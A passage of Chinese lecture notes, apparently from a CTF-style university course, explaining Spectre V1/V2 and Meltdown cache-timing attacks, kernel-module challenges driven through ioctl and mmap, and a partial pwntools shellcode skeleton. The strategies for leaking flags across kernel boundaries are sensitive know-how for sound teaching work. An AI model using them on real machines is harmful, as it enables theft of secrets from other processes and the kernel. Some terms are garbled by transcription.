index > 257)的输入调用这段代码。这会将CPU内部对应此分支地址的“两位计数器”状态机推向“强烈预测跳转”的状态。 - 触发推测执行:攻击者随后提供一个不满足条件(
index是小的有效值,如0)但希望泄露的输入。由于分支预测器已被训练为“预测跳转”,CPU在等待慢速浮点比较结果时,会推测性地执行if块内的代码,使用小的index去访问shared_memory。 - 缓存残留:尽管当浮点比较结果返回、发现预测错误后,推测执行的所有架构状态都会被回滚(指令被“退休”),但对缓存状态的改变(即
shared_memory_base + (index * PAGE_SIZE)被加载到缓存)会保留下来。 - 侧信道读取:攻击者随后使用标准的缓存时序侧信道技术,探测
shared_memory区域,发现哪个索引的访问时间变短,从而推断出在推测执行中使用的index值,即泄露的标志字节。



核心挑战:这是一个竞态条件。攻击者需要赢得“推测执行微操作”与“浮点比较结果返回”之间的比赛。即使训练正确,也可能因CPU繁忙度等原因导致推测未发生。因此,攻击代码必须能处理大量“失败”的尝试,并从噪声中识别出成功的信号。








时序数据处理策略




由于攻击,尤其是涉及推测执行的攻击,具有内在的不确定性,我们需要有效的策略来处理时序数据。本节中我们来看看几种常见的方法。
以下是处理缓存时序数据的几种策略:

- 多次运行与统计:对每个要猜测的字节索引,运行攻击多次(如数百次)。记录每次运行中访问时间最短的候选字符。最后,选择出现次数最多的那个字符作为结果。这种方法在前几关(无推测)可能有效。
- 设置时间阈值:在涉及推测的执行中,许多运行可能因为未成功推测而导致所有访问时间都很长(“坏运行”)。可以设置一个时间阈值(例如200个CPU周期)。只有当最短访问时间低于该阈值时,才认为此次运行有效并记录结果。这样可以过滤掉大部分噪声。
- 如何确定阈值:需要观察多次运行的数据。如果能看到一些运行中存在明显的“快”(如<200周期)和“慢”(如>500周期)的两组数据,阈值可以设在中间值附近。阈值可能需要根据系统负载动态调整或通过代码自动计算。
- 动态阈值与聚类分析:更高级的方法是让代码自动分析每次运行得到的所有时间数据。例如,先运行几次,计算所有时间的中位数或均值,然后设定一个基于此的阈值。或者寻找时间数据中的自然聚类,将快速聚类中的最小值对应的索引视为候选。
调试技巧:
- 如果所有访问时间都很短(如都<300周期),可能意味着缓存未被正确刷新,或者攻击者代码本身无意中将数据引入了缓存(例如,在测量循环中使用了
printf调试,而printf会访问内存)。 - 如果所有访问时间都很长(如都>500周期),可能意味着受害者从未成功访问目标内存,或者同步有问题,或者缓存刷新过于频繁。
- 理解数据模式对于调试至关重要,这需要耐心和反复实验。

编写可靠攻击代码的注意事项
在结束之前,我们总结一些编写微架构利用代码时的实用要点。





- 避免无意缓存污染:在攻击者代码中,尽量减少不必要的内存访问。例如,计算指针地址时,不要提前解引用。
// 不佳做法:解引用会污染缓存 char *pointer = &shared_memory_base[i * PAGE_SIZE]; // 更佳做法:仅计算地址 char *pointer = shared_memory_base + i * PAGE_SIZE; - 谨慎使用调试输出:
printf等函数会访问内存,严重影响缓存状态。尽量使用其他方式记录调试信息,或确保调试代码不影响关键的攻击路径。 - 理解同步机制:正确使用信号量或其他同步原语来控制攻击者与受害者进程的执行顺序,确保“刷新-触发-测量”的序列得以维持。
- 分支预测器训练:对于Spectre,训练不需要成千上万次。由于简单的两位计数器状态机,通常几次(如3次)连续的正确预测就足以将预测器状态推向强预测方向。

总结与后续
本节课中我们一起学习了微架构利用的核心内容。我们从基础的缓存侧信道攻击原理入手,详细分析了其数据流。然后,我们深入探讨了Spectre V1攻击,理解了它如何利用CPU的推测执行和分支预测缺陷,结合缓存侧信道来泄露信息。我们还讨论了处理时序数据的多种策略以及编写可靠攻击代码的注意事项。




本模块的后半部分将涉及内核中的利用以及Meltdown攻击。这些挑战可能需要更多时间,请合理规划学习进度。记住,理解概念和耐心调试是攻克这些难题的关键。
27:微架构利用



在本节课中,我们将学习微架构利用模块的核心概念,包括Spectre V1/V2攻击与Meltdown攻击的原理与区别,并了解相关挑战的解决策略。
课程概述与进度
今天是2024年11月26日,我们正处于微架构利用模块的中期。
从提交情况看,大家已经开始实际动手。这个模块确实名不虚传,大家既觉得有趣,也认为其逻辑清晰。GDP(推测执行)似乎能解决一切问题。
我有点惊讶这次讨论集中在第4级上,通常抱怨最多的是第5级。因为前4级实际上完全不涉及推测执行,只是需要利用CPU缓存侧信道。第5级通常被认为是本模块前半部分中最难的一关。
关于第5级挑战的深入探讨
第5级引入了推测执行。你会遇到这样的场景:你明白需要训练分支预测器。你执行程序,引导CPU走某条路径三次,然后做点别的。希望CPU能推测性地执行你想要的操作。
我曾在周二或周四强调过,这是一场竞赛。你可以训练分支预测器,然后执行你希望CPU执行的操作,但你仍然可能错过时机。很多人对第5级有同感。
因此,对于你想要泄露的每一个值或索引,你都需要尝试很多次,因为你可能无法每次都成功触发CPU内部的那场竞赛。
模块难度与策略
这可以说是本课程中最难的模块,尽管下一个模块也绝不轻松。之前积累的额外学分现在可以派上用场了,因为所有困难的内容都集中在学期末,同时你还要应对期末考试。现在是兑现额外学分的时候了。
当服务器繁忙时,执行这些微架构利用会困难得多。目前情况还算平稳,但当服务器负载高时,例如上周日365课程有截止日期,600名学生同时在运行程序,他们的代码会在你试图利用的同一CPU核心上执行,他们的内存访问会冲刷掉你放入缓存的数据。因此,在CPU负载较低时尝试这些攻击总是更好的选择。
总的来说,大家对这个模块又爱又恨。但经历它很重要:要么你成功了,感觉非常酷;要么你体会到了它的难度,并理解了其困难所在。
有些人意识到,或许兑现额外学分是更明智的选择。如果你前期没有积累额外学分,接下来的几周可能会很艰难。但如果你积累了,要在这门课拿到A会容易得多,这本身就是课程设计的一部分。
服务器负载与同步技巧
有人说,他们只需要等待服务器上少于50人。但请注意,Dojo网站显示的数字不能绝对化,因为我们现在是多节点部署,你看到的数字分布在多个主机上。目前大概有三个主机,所以50人并不算多。但当有300-400名学生同时运行程序时,肯定会造成干扰。
我从未推荐过使用 usleep,但它似乎是许多人尝试同步第1到5级挑战的普遍方法。我提到过 sched_yield 和 nanosleep。usleep 只是 nanosleep 的一个Python包装器,功能相同。但由于它是对系统调用的包装,理论上会有更多的内存访问,这可能会降低你的成功率,因为会引入更多缓存噪声,给你带来不必要的麻烦。不过,对于向我展示使用它的人,他们找到了让它工作的方法。
归根结底,你所做的是观察这些计时数据,并试图理解它们,这是整个概念的关键。
第6级与第7级挑战
第7级可能之前没说清楚,它是一种与之前不同类型的侧信道攻击。
第1到5级是缓存侧信道攻击。第5级是推测性侧信道攻击,本质上是在做类似Spectre V1的攻击。

第6级只是一个小菜单,每个人基本上都是暴力破解,这让我有点难过,但现实如此。它本意是教你关于页面错误的知识,因为如果你试图推测性地访问一个没有物理内存支持的页面,你会得到错误数据。这一关的陷阱在于,你必须对所有那些页面引发页面错误,否则你从计时数据中得到的信息将是垃圾,毫无意义,因为你并没有真正访问物理内存。
但第7级要求你编写一个预取计时攻击。这与你在第4级和第5级所做的非常不同。如果你盲目地尝试应用在第4级和第5级使用的相同技术,你将会遇到段错误。
在第4级和第5级,你计时访问的是进程内映射的虚拟内存地址。而在第7级,挑战要求你找出这个映射区域在虚拟内存中的位置。因此,如果你尝试访问未映射的内容,就会发生段错误。所以你必须使用一种不同的技术,这在预备阅读材料中有涉及。

性能与核心绑定

就像竞态条件一样,如果你的解决方案效率极低,你可以运行它(我记得Dojo最终会超时,最长可达6小时)。然而,对于所有这些挑战,一个合理的、优化良好的解决方案应该能在一分钟左右输出flag。


前几个关卡会随机将你的进程固定到一个CPU核心。它会固定挑战进程,然后当它派生出你的漏洞利用代码时,也会固定到同一个核心。这是为了确保所有代码都在共享同一缓存的同一个核心上运行。
对于后面的关卡,我猜是第8、9、10级左右,这些也是基于Spectre的攻击。我不认为这些挑战会自动为你固定CPU核心。所以,如果你想这样做,你应该自己处理。否则,挑战可能在一个核心上运行,而你的漏洞利用在另一个核心上运行,它们不共享缓存,测量计时将会非常糟糕,因为你测量的不是同一个缓存。
课程安排调整
我提到过,在假期期间,我在Discord上的可用时间会时断时续。感恩节假期期间以及下周五,我通常有办公时间,但下周五我不会举行。再下一周的周五,我会尝试在周四补一次,下周二的课上我会通知大家。下周五我肯定没空,所以如果你们有特别希望的时间,请告诉我,我们可以商量。
我意识到你们中的一些人现在处境艰难。下周是假期,但你们已经在这个模块上非常努力了。我曾说过,如果你们抱怨很多,我会考虑调整检查点截止日期。但问题是,我自己也当过学生,我知道如果我在假期前说这个,你们就不会努力工作了。所以,我宁愿承受一些抱怨。
那么,我会这样做:截至昨晚,只有大约一半的学生达到了刚过去的检查点。对于正在解决本模块挑战的学生,大多数检查点都能被完成。但这次是个例外,因为它是个困难的模块。因此,我们将移动截止日期。我希望我没打错字:本模块的截止日期将改为12月16日,也就是学期末。检查点我会给你们额外一周时间,所以它仍然会与感恩节周末冲突,但希望你们这个周末已经非常努力了,这样你们可能只需要再完成一个挑战,情况就不会太糟。你们仍然可以获得那个检查点。这对大家公平吗?我看到有人摇头说不,想要更多时间;也有人点头说是。好的,我接受。
我这样做是出于好意。如果我说得太早,你们可能会拖延。希望你们能原谅我这点善意的欺骗。
尽管如此,系统利用模块仍将按计划在本周五(感恩节假期期间)启动。我不在乎你们是否在那时完成,它的截止日期是学期末,但我们会保持一切按计划进行。
从启动时起,本课程的所有作业都应该出现在你们的成绩单中。有人在Discord上问,这是否意味着成绩页面上显示的就是你们的课程最终成绩?就我所知,答案是肯定的。
关于Meltdown攻击的讲解
我之前计划讲的是侧信道推测攻击,比如利用缓存。周二/周四我们讨论了很多,但没有演示。本模块中第三种微架构侧信道攻击是Meltdown。Meltdown的工作原理与Spectre类似,仍然是一种推测计时攻击,但你泄露的是跨越不同安全域的信息。
我们可以看一下这个,除非你们有特别想探讨的路径或问题?有人想了解更多关于Spectre V2的内容吗?
好的。问题是:在什么情况下我们可以使用Spectre V2?能提供一些有用的链接吗?
这就是为什么你们要在Discord上提问,这样我才能提前准备。我今天早些时候有点时间,我在想:讲Meltdown听起来不错吧?所以我从我自己的讲座视频里偷了个演示。
Spectre V1 与 V2 的区别


Spectre V1和V2的区别是什么?有人能告诉我吗?不是你,其他人。
你们只需要读幻灯片就行。是的,Spectre V1利用了条件分支。这就是我们有比较指令的地方,CPU必须猜测我们是否会执行这个条件跳转。这就是“训练”这个想法的来源。Spectre V1是Spectre的经典例子,大多数时候人们谈论Spectre时指的就是V1。
Spectre V2,正如有人在这里敏锐地指出的,利用了间接分支。什么是间接分支?好的,我给你们解释一下。那是一种在运行时才知道的跳转。所以,在运行时,你不知道要跳转到哪里。
Twitch上的说法是:这是一种在编译时不知道,但在运行时才知道的跳转。这是对的,这就是间接分支或间接跳转。
如果我们考虑所有使用变量的跳转,因为我们不知道变量会持有什么值,所以除非我们用那个值运行,否则我们不知道跳转是否会发生。但那个跳转可能有几个选择,它可以跳转到任何地方。例如,如果我有汇编代码并调用某个函数,我知道那个函数在哪里吗?是的。在那个位置,我还会调用其他东西吗?不会。
但如果我动态计算一个要跳转到的位置呢?这就是间接跳转。
我们可以研究一下这个挑战,因为我知道。我可以草草写点东西,或者我们可以找一个例子。是的,这里有一个间接调用。
分析内核模块挑战
所以让我们打开这个家伙。有人说他们现在还不明白。我问的问题有点刁钻,让它变得很难。
我们打开IDA看看。让我们往下翻。这些后面的关卡,你可能会觉得有点吓人,因为如果你注意了,这是一个内核模块。实际上它应该更容易一些。
像第1到5级,我们有共享内存和信号量,你需要用它们来触发挑战执行某些操作。这里没什么大秘密,所以我稍微剧透一点。
这些内核模块的工作方式是使用我们的老朋友 ioctl。你可以编写用户态代码来调用 ioctl,迫使内核执行某些操作。这与之前的概念非常相似,只不过之前全是用户态,使用共享内存和信号量,而现在我们使用 ioctl 来触发运行在内核中的行为。
这看起来有点奇怪。好吧。我在找什么?我在找一个间接调用,一个我可以触发的调用。你看过这个了吗?你知道问题大概在哪里吗?我不知道,所以我可以看看,或者你可以给我指个大概方向。

应该在某个 else 代码块里。在 else 代码块里某个地方。好的,那里有个 -1,但肯定需要一些逆向工程来理解这些值是如何使用的。

我们有私有数据。我们将对这个调用受害者函数。参数是 flag、私有数据、0,然后是目标地址,其中目标是 gadget。受害者函数是什么?返回 junk。junk 一定很重要。这里有一个对 target 的解引用。它正在调用存储在 RBX 中的指针。
IDA 让它看起来一团糟,但根据我的经验,IDA 经常这样。这个 target 是一个函数,它正以这些参数(某个地址、共享内存和输入)被调用。
Spectre V2 的工作原理
Spectre V2 的工作原理与 Spectre V1 类似,都是训练预测器在不知道某些信息时该执行什么。但在 Spectre V1 中,你训练 CPU 在条件跳转(一个 if-else)时该怎么做。而在 Spectre V2 中,你训练的是 CPU 的不同部分。
因为这个对 target 的调用不是一个 if-else。如果 target 是 1,我们就跳转到 1。如果 target 是 1337,我们就跳转到 1337。它可以是 1338 吗?当然,为什么不行。所以这个特定的函数调用可以跳转到许多不同的地方。CPU 中有一个不同的部分来跟踪我们从这里间接跳转到了哪里,这与分支预测类似,但不是一个简单的状态机。我们仍然需要多次训练它,策略仍然是相同的:我们多次以某种方式执行它,然后改变它。
这允许我们跳转或调用到一个我们原本不应该(推测性地)以这些参数调用的函数。那么我们的问题就变成了:这个东西通常去哪里?我们想训练它去哪里?我们想实现什么?

侧信道与缓存
好的,既然这告诉你有一个间接调用,Spectre V2 仍然涉及缓存计时侧信道吗?你说不?所以,我们具体地或推测性地跳转到一个地址。推测性地执行任何东西会在具体世界中产生影响吗?目前,我们唯一能通过推测性执行影响的是缓存。CPU 中还有其他微架构元素吗?
如果我想泄露信息,我可能想推测性地执行一些东西,然后通过计时侧信道观察到它。那么,我们在这里能做什么?让我们看看。受害者函数参数是:字符指针 adder,字符指针 shm(希望是共享内存),然后是输入。我们看到有刷新操作。这是在刷新存储那个指针的地址,以确保该指针不在缓存中。这有些道理,因为我们需要确保 CPU 不知道那里有什么,从而迫使这个 target 调用变慢。我们强制它变慢,因为存储在那里的地址不在缓存中,这只是挑战设计的一部分。
那么 target 是什么?默认情况下,target 是 gadget。我能控制 gadget 吗?很遗憾,不能。gadget 是什么?gadget 会访问共享内存,乘以一个页面大小,再乘以 adder 处的值。我们开始看到一些眉目了,我们开始看到我们在 Spectre V1 中见过的那些片段。只是现在不是一个分支在执行它,而是一个函数地址。我们需要影响的是这个调用。
那么 flag 在内存中哪里?可能在 .text 节顶部?它是一个地址。在那里。所以当加载这个内核模块时,我们打开 flag 文件,将内存从文件描述符读入这个 flag 变量。看起来我们有一个小 typo。如果你不知道的话,之前我们寄出的腰带上有一些印刷错误,现在只剩几条了。我们读入这个 flag,我们有一个 safe_flag 写着 “Po do College”。然后我们创建设备。所以 flag 和 safe_flag 在内存中是紧挨着的,认识到这一点很有趣。

如何影响执行
我如何影响这个东西的执行?你说你看过它。我不想坐在这里逆向整个东西。我能控制什么?我相信私有数据是我们传递给 ioctl 的东西。对于这些内核模块,文件中的私有数据可能只是指向一个全局变量的引用,我们可以在不同的入口点访问它。内核模块有一个入口点,设备打开会有一个文件,该文件也有私有数据。这个私有数据成员有点像我们可以访问和定义的通用全局变量。
还值得注意的是,这个内核模块,你必须 mmap 它。今天,如果你学会了如何 mmap。这与我们如何打开文件类似,你可以从用户态调用 mmap 来将文件映射到你的虚拟内存空间。
就像在内核模块中我们有设备读或设备写一样,这是当你对打开此内核模块返回的文件描述符调用 mmap 时会触发的功能。那么,添加此内核模块的方法之一是通过 mmap 这个文件,它将返回给你这个私有数据。
这是你拥有的另一个通信渠道。现在我知道我可以调用 ioctl 让这个东西做点什么,我可能不完全理解发生了什么,但我看到了一些片段。然后我可以 mmap 来获取对内存的访问权限,这样我就能在用户态看到内核正在与之交互的内存。
关于 mmap 的说明
是的,当我们在文件描述符上调用 mmap 时,我们在用户态获得了对该私有数据的访问权限。这就是那个内核模块正在做的事情。
mmap 有点像瑞士军刀函数,它做很多不同的事情。根据你的用法,其中一些参数可能只是 NULL 或 -1,表示你没有使用该功能。你可能在课程早期见过,你可以将地址设置为 NULL,设置长度,设置一些权限,比如你想要一个共享内存区域或仅为自己使用的内存区域。地址可以是一个提示。我相信我们有几个挑战是这样的:哦,1337 地址有东西,我们会把你的 shellcode 放在 0x13370000。挑战实现的方式是调用 mmap,第一个参数是 0x13370000,这是一个提示,表示我希望请求分配的内存区域在虚拟内存地址 0x13370000。长度是你想要多少内存,必须是页大小的倍数。你的保护权限是读、执行等。然后你的标志指示是私有、共享,是否预取等。但你还会得到最后这两个参数,它们有点奇怪。在大多数早期内容中,我们不需要使用它们。默认情况下,文件描述符可能是 -1,偏移量是 0,因为不重要。但你可以用 mmap 做的是,你可以传递一个标志来表示我想映射一个文件。然后你包含从该文件打开的文件描述符。这样,你就不必打开文件然后读入内存区域,你可以直接调用 mmap,就像说:把这个文件的所有内容直接扔到虚拟内存里。
内存映射与挑战设计
那么,如果我对一个文件描述符进行 mmap,并且我更改了映射区域的内容,我们保存到文件的内容会改变吗?如果我从内核模块 mmap 并更改私有数据,内核模块能看到吗?第一个问题是:它会改变磁盘上的文件吗?内存中的改变是否会反映到磁盘文件系统上?我很确定默认答案是否定的。但对于这个内核模块,我们可以打开这个东西并获得一个文件。这个内核模块对应的文件是否写入磁盘?不,所以我们第一个问题在这里其实不重要。它是否刷新到文件并不重要。
当我打开这个文件时,我们触发设备打开。如果我在内核模块内部打开,我不需要知道用户态是什么,我们可以 loosely 说,好吧,这是某种 malloc 函数,它分配了一堆内存,并将指针放在私有数据中。这就是我需要知道的全部。我想你可以从这里合理地推断出来。
现在,我会在那个文件上调用 mmap 吗?看起来它是在重新映射那个内核虚拟内存地址(位于文件指针处),然后通过 mmap 暴露给我们。当我查看 mmap 和那些标志时,我看到有许多不同的方式可以映射内存:我可以共享映射(这会在其他进程中反映),也可以私有映射(该内存只属于我)。现在,如果你的问题是:如果我写入这个内存,内核能看到吗?当然,共享内存嘛。
但你认为这个挑战会让你直接把 flag 写入共享内存然后读出来吗?如果那么简单,我们就不会在这里讨论,它也不会出现在微架构利用模块里了。因为那样你只需要知道共享内存如何工作就行了。
缓存侧信道的核心思想
但如果我们回想一下我周四关于缓存侧信道如何工作的长篇大论:我们取 flag 的一个字节,用它来索引到某个数组,然后读取一些东西。这就是我们在第4级和第5级让挑战做的事情。我们需要拥有,并且挑战为你注入的是共享内存,就像说,哦,发生了这个魔法。但这里没有魔法,你必须自己声明你的共享内存。那么,你猜这个巨大的映射内存区域将用于什么?我们在早期挑战中把这些巨大的共享内存区域用于什么?在这个模块里,我们用它作为通信媒介。当我们尝试从中读取并观察该内存访问需要多长时间来解决时。所以我们在这里看到了其他挑战中的所有片段。我们有一个挑战会访问的内存区域(我还没找到具体位置)。然后我们看到,如果我能把这个内存区域弄到我的用户态进程里,我就可以计时访问同一块内存,这意味着我可以观察或确定内核正在访问哪个内存区域。我们做的是同样的递增和计时:内存访问时间,内存访问时间。这就是共享内存区域如此巨大的原因。
所以真正的问题是:我如何让这个设备 ioctl 推测性地访问那个内存区域?通过调用设备 ioctl,破译其中一些内容,并弄清楚你能让它做什么。你能让它以某种方式访问那个内存区域吗?这种方式能从用户态告诉你它做了什么。
Spectre V1 与 V2 的关键区别
Spectre V1 和 V2 之间唯一的真正区别在于你让这个东西推测性执行的机制。在 Spectre V1 中,你有一个很好的小 if:如果数字很大,我们不做;如果数字很小,我们就做。你可以直接说真,真,真,然后尝试假,它就会推测性地触发。在这里,你没有干净利落的 if-else 二元选择,你需要训练的是这个奇怪的 call target 东西。这是一个间接调用,跳转到一个可能访问或可能不访问某些东西的内存位置。这就是你需要训练的东西。
我是不是在替你训练?我是不是得真的读这段代码?如果私有数据是 1,哦,该死,我们要逆向整个东西了。我不想再深入了,因为我们会不小心解决它。但确实有类似 if 的东西,当我们知道一些关于我们讨论过的私有数据的信息时。一点逆向工程不会要了你的命。你现在感觉好点了吗?你可以做更多工作了。
我接受。我担心如果我走得太远,答案就会自己跳出来,然后我就得封禁这个视频,那就不妙了。好了,还有没有其他问题,不涉及我无意中告诉你们具体怎么做的问题?看起来都像吓人的东西。没关系,这就是为什么你们有额外学分。你们知道,你们不必解决它,再发几个好梗就行了。
关于挑战顺序的优化建议
我原本打算聊聊的是第13和14级。如果你在尝试优化以获得更简单的解决方案,值得快速看一下13和14级,然后再看10、11、12级。10、11、12级会比较难。第9级看起来有点吓人,但代码非常直接。10、11和12级让你在 Yon 85 V 中做 Spectre V1,所以现在你必须找到你需要推测性触发的那个推测性分支,找到你可以推测对抗的分支来让它发生。这是一个稍微修改过的 Yon 85 V。所以如果你熟悉 Yon 85 的工作原理,你应该能够识别这些新的代码片段或功能,这会给你一个寻找方向。
然后我们在 Yon 85 V 中有 V1 和 V2。V2 是关于改变正在执行的指针的地址。所以你想在这里应用同样的逻辑和 Yon 85 的实现。某个地方有一个你可以训练的间接调用。思考 Spectre V2 时要记住的一个重要事情是:参数保持不变。这意味着,例如,对于一个函数是 uint64_t 的参数,在另一个函数中可能被解释为一个指针,或者一个 unsigned int 在另一个函数的上下文中可能被当作 signed int。因为作为一个函数的参数传递的字节,被那个你推测性执行的函数误解或重新解释了。
Meltdown 挑战介绍
我最后想聊的是 Meltdown 挑战。有人做到这里了吗?Meltdown 挑战要求你连接到虚拟机,内核模块可能也需要你连接到虚拟机。但 Meltdown 挑战,你可能也需要用数据连接。第13级,你只是试图从内核模块的内存中泄露 flag。我记得我们讨论过,或者我们有过那个任务结构的东西?我们有一个挑战,它 fork 出来,删除 flag,然后 fork 出来,然后它删除了 flag,fork 出来,那个进程死了,你必须在内存中找到它。


我来看看第14级,这样你们能看到。14级比13级更有趣。当我们查看挑战目录时,我们有一个内核模块和一个用户态二进制文件。当我们运行用户态二进制文件时,它甚至不打印任何东西,那太逊了。我告诉你们它做什么。它打开 flag,读取 flag,然后忙循环。这就是这个用户态进程所做的全部。

Meltdown 允许我直接访问这个进程的内存吗?我们说过 Meltdown 违反了当前的内核 supervisor 位。那么,我从麦克唐纳上校那里对内核了解多少?内核可以访问任何进程的内存。我该怎么做呢?ioctl 给了我一个原语,让我可以像从内核的任何地方读取字节,所以也许内核模块可以从这个进程的内存中读取 flag,然后我们用 Meltdown 从内核读回来。这是个合理的想法,但不是答案。我们还没看内核模块,我觉得对于这个传奇模块的最后一关来说,那太简单了。
内核模块功能分析
在内核模块里,我们有什么?设备打开,看起来很有用。它会给出 a0。在这一点上,我不太信任 IDA 对内核模块的反编译。我不信任什么?你怎么能不信任 IDA 处理内核模块?我震惊了。所以我们看到的 dmesg 信息是个好主意。我不记得是这个挑战还是另一个,但肯定有一个挑战,如果你手动查看反编译和 IDA,会有东西是空的。是的,IDA 会把它反编译成什么都没有,但如果你看汇编,实际上有东西在运行,只是 IDA 无法理解。有人说(我不知道这是否属实)Binary Ninja 在这方面做得不错。听说 Binary Ninja 和 Angr 管理得比 IDA 好得多。
所以,在这个模块中我们能做的是 dmesg 里说的:我们可以对这个东西调用设备 ioctl。根据我们传递给它的命令,我们将能够从用户空间复制,或者获取 PID 的 task_struct 地址。所以我可以给它 1,它会给我内核中 PID 1 的任务结构地址。那是 flag 吗?我们还能对这个东西做什么?上面还有别的东西,我跳过了。触摸一个内存地址。所以我们有能力触摸某个东西,因为这本质上只是一个内存访问。然后我们有能力获取任意进程的 task_struct。
利用 task_struct 进行地址转换


那么,关于 task_struct 我需要知道什么?它们很复杂,我承认。但我们在哪里能弄清楚它们是如何工作的?GDB 是一个地方。我想我在内核模块里深入讨论过 task_struct。是的,内核文档,虽然有文档。我相信它在某个地方有文档,但我找不到。但你能找到的是源代码。这是我们的 task_struct,希望我选对了,否则肯定有人会在 Discord 上指出来一年。从这里开始的某个偏移量,将是解引用虚拟内存的第一步。我添加了这个,所以有人指出,我真的应该在最后几分钟指出这一点。如果你从课程网站访问这个,我添加了延伸阅读。当我添加这个时,一个超级有用的链接是这个最后一个,这是 Secom La 这里一位研究生写的博客文章。Janan 谈到过有 CR3,然后有页表,我们做这个数学计算进入下一个页表,将虚拟内存转换为物理内存。这篇文章解释了那个内存管理单元如何工作。你可以从 task_struct 到达这个页表。

所以你的策略将是:获取 task_struct 地址,然后泄露页表,然后做一些数学计算,来获取那个持有 flag 的挑战的 PGD(页全局目录)。这将允许你将 flag 所在的虚拟地址转换为内核内的物理内存地址,然后从内核读取它。


所以你必须编写 Meltdown 来利用内核,但你必须推测性地导航页表,以获取物理映射中的 flag。否则,就像你试图在内核模块中所做的那样,你从物理映射开始,然后就像,嗯,它在哪?但现在你必须推测性地、一次一个字节地做这件事。实际上,弄清楚它在物理映射上的位置工作量更小。这就是第14级的内容。30 听起来很多,但一旦你开始着手,根本没那么糟糕。第13和14级通常被认为比第11和12级更容易,有些人会说也比第10级容易。所以,如果你在尝试优化以获得更简单的解决方案,一定要看看它们。
课程总结
好了,就这样吧。Twitch,玩得很开心。希望大家假期愉快,希望至少对我来说,这周压力能小一点。再见,祝好运,周二见。

在本节课中,我们一起学习了微架构利用模块的核心,包括 Spectre V1/V2 与 Meltdown 攻击的原理差异、内核模块的交互方式(ioctl/mmap)、以及如何利用 task_struct 和页表进行虚拟到物理地址的转换以完成高难度挑战。记住,理解缓存侧信道、推测执行训练以及不同攻击所跨越的安全边界(进程内、内核-用户态)是掌握这些高级漏洞利用技术的关键。
28:系统利用
在本节课中,我们将学习系统利用模块的核心概念,特别是如何通过编写汇编代码与内核模块交互,以及如何利用mmap和ioctl系统调用。我们将通过分析一个具体的挑战来理解这些概念。
概述
本节课我们将深入探讨系统利用模块中的一个具体挑战。该挑战涉及用户空间程序与内核模块的交互,要求我们通过编写特定的汇编代码(shellcode)来调用mmap和ioctl,从而在内核空间中执行自定义的Y86代码。我们将学习如何构建有效的payload,并理解相关的计算机架构概念。
课程内容
分支预测器回顾
上一节我们介绍了微架构攻击中的分支预测器。本节中我们来看看全局与局部分支预测器的区别及其在实际利用中的影响。
在微架构攻击中,训练分支预测器是关键步骤。通常,我们通过运行一个循环来“训练”CPU,使其在特定条件下进行推测执行。然而,存在两种类型的分支预测器:
- 局部分支预测器:基于单个内存地址处的分支历史进行预测。它通常被建模为一个2位状态机。
- 全局分支预测器:基于CPU上更大范围的模式进行预测。它可以识别不同分支指令之间的关系,从而影响推测执行的路径。
在解决挑战时,有时可以通过无限循环(如while(1))来偏置全局分支预测器,从而避免在攻击代码中进行显式的训练循环,这可能会提高攻击效率。
课程目标与评分
本课程的目标是让大家能够理解现代系统安全漏洞的基本原理,而不是成为某个领域的专家。评分方面,所有作业均已发布,当前成绩单上的分数就是最终分数,除非你完成额外工作。通常,学生在最后一个模块不会投入过多精力,因为他们需要准备期末考试。大家应根据自己的情况合理分配时间。


对于累积性的挑战(如系统利用),它可能涉及逆向工程、Y86内核和shellcode编写。如果觉得当前模块挑战难度较大,回顾之前已发布的模块(即使只能获得一半学分)可能是更明智的时间分配策略。
期末安排与后勤

下周是期末考试周,教室安排会发生变化。因此,本周的复习课和助教答疑将取消。作为替代,我将在期末考试周的周二和周四的常规上课时间(下午4:30-6:30)进行两场线上直播。直播可能会在Discord进行,以便于更自由地讨论课程中的任何问题,帮助大家解决困难。
此外,学期末我们会为在CSE 365和CSE 466课程中获得腰带(belt)等级的同学举行一个授带仪式。如果你获得了腰带但不希望出现在直播中,可以私下联系我们领取。
关于课程评价调查,我将发布一个匿名的Google表单。为了鼓励反馈,填写调查的同学将获得1%的额外学分。你们的反馈对我改进课程非常重要。
挑战分析:Level 1
现在,让我们开始分析系统利用模块的第一个挑战。我们将逆向工程一个内核模块,并构建一个能与之交互的用户空间攻击程序。
首先,我们来看看这个挑战的基本逻辑:

- 用户空间程序可以上传自定义的shellcode。
- 内核模块会打开一个设备文件(例如
/proc/ypu)。 - 用户只能进行两种系统调用:
mmap和ioctl。 mmap用于将一段内存区域映射到用户空间,这段内存与内核模块的私有数据区共享。ioctl用于向设备发送命令。当命令号为0x1337时,内核会调用一个Y86代码解释器来执行映射内存区域中的代码。
我们的目标是:编写shellcode,利用mmap获取共享内存区域的地址,然后将我们编译好的Y86代码字节写入该区域,最后通过ioctl触发执行。
构建攻击程序

以下是构建攻击程序的关键步骤:
- 生成Shellcode:我们需要用汇编编写一段代码,依次调用
mmap和ioctl。我们可以使用shellcraft库来生成这些系统调用的汇编代码片段。 - 写入Y86代码:在
mmap调用之后,RAX寄存器会保存映射内存区域的地址。我们需要将编译好的Y86代码字节写入这个地址。与其手动分多次写入,不如在shellcode中编写一个循环来完成。 - 触发执行:最后,调用
ioctl,传入正确的命令号(0x1337),让内核解释并执行我们写入的Y86代码。
以下是一个概念性的Python代码框架,展示了如何组织攻击:


from pwn import *
context.arch = 'amd64'
context.endian = 'little'
# 1. 生成调用 mmap 的shellcode
prot = constants.PROT_READ | constants.PROT_WRITE
flags = constants.MAP_SHARED
mmap_sc = shellcraft.mmap(0x31337, 0x1000, prot, flags, 3, 0)
# 2. 生成调用 ioctl 的shellcode (假设文件描述符也是3)
ioctl_sc = shellcraft.ioctl(3, 0x1337, 0)
# 3. 汇编我们自定义的Y86代码 (示例)
y86_code = asm_your_y86_code() # 假设这是一个返回字节串的函数
# 4. 构建完整的payload
# 首先,生成一段汇编代码,它包含:
# a) 调用mmap
# b) 一个循环,将y86_code的字节写入RAX指向的内存
# c) 调用ioctl
# 这里需要手动编写或拼接这段汇编代码。
payload_asm = f'''
{mmap_sc}
/* 此处插入循环写入Y86代码的汇编 */
{ioctl_sc}
'''
payload = asm(payload_asm) + y86_code # 将Y86代码附加在shellcode之后
# 5. 将payload写入文件或直接发送给挑战程序
with open('payload.bin', 'wb') as f:
f.write(payload)
核心循环的汇编思路:
在mmap调用后,RAX是目标地址。我们可以将Y86代码的字节串作为一个标签放在shellcode末尾,然后用一个循环将其复制到RAX指向的内存。
lea rbx, [rip + y86_code_label] ; 获取Y86代码的地址
mov rcx, 0 ; 计数器清零
mov rdx, [rbx + rcx*8] ; 每次读取8个字节
mov [rax + rcx*8], rdx ; 写入目标地址
inc rcx
